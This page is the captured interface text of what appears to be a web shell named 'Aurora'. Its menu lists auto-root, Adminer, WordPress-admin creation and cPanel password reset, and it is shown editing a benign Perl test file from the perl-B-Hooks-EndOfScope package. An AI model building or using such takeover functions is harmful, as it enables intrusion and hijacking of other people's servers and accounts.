Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
doc
perl-B-Hooks-EndOfScope
t
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: 00-basic.t
use strict; use warnings; use Test::More 0.88; BEGIN { use_ok('B::Hooks::EndOfScope') } # FIXME!!!!! this is dreadful. This test is written so loosely that we still # pass all tests if we comment out the above use_ok line and replace it with: # sub on_scope_end(&) { shift->() } BEGIN { ok(exists &on_scope_end, 'on_scope_end imported'); is(prototype('on_scope_end'), '&', '.. and has the right prototype'); } our ($i, $called); BEGIN { $i = 0 } sub foo { BEGIN { on_scope_end { $called = 1; $i = 42 }; on_scope_end { $i = 1 }; }; is($i, 1, 'value still set at runtime'); } BEGIN { ok($called, 'first callback invoked'); is($i, 1, '.. but the second is invoked later') } foo(); done_testing;